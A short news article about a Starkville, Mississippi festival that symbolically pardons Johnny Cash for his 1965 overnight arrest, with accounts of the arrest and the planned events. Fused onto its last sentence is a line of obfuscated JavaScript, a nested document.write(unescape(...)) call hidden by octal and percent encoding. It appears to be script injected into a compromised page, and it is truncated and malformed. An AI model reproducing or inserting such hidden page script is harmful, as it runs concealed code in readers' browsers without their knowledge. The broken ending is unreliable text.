Johnny Cash Flower Pickin' Festival

A Mississippi town is holding a "redemption" festival for country music legend Johnny Cash. The town of Starkville earned fame after the singer-songwriter penned a song about its jailhouse, in which he was held for a night for allegedly picking flowers.

More than 40 years later, the residents of Starkville want to honour the "Man In Black" for the town's unlikely celebrity status - and pardon him of any guilt for his previous mistakes.

The Johnny Cash Flower Pickin' Festival, scheduled for November 2-4, will celebrate the singer's life and focus on redemption.

There are different versions of what happened the night of May 11, 1965.

In his autobiography, Cash, who died in 2003, said he was arrested by the police while walking from his motel to a grocery store after attending a party at a fraternity house on the Mississippi State campus.

Another version has the singer arrested while picking flowers in someone's garden.

The country star admitted in his book: "I was screaming, cussing and kicking at the cell door all night long until I finally broke my big toe. At 8am the next morning they let me out when they knew I was sober."

Cash wrote a song about the ordeal, Starkville City Jail, which earned fame after he performed it for the inmates at San Quentin Prison.

Plans for the festival include a ceremony at the site Cash was arrested, a concert honouring his music, a sermon on redemption and a pardon by city officials, issued to the singer's family.

Reverend Allison S Parvin, who will deliver the redemption sermon during the event, described the singer's story as "just one of the great gospel stories of now".document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;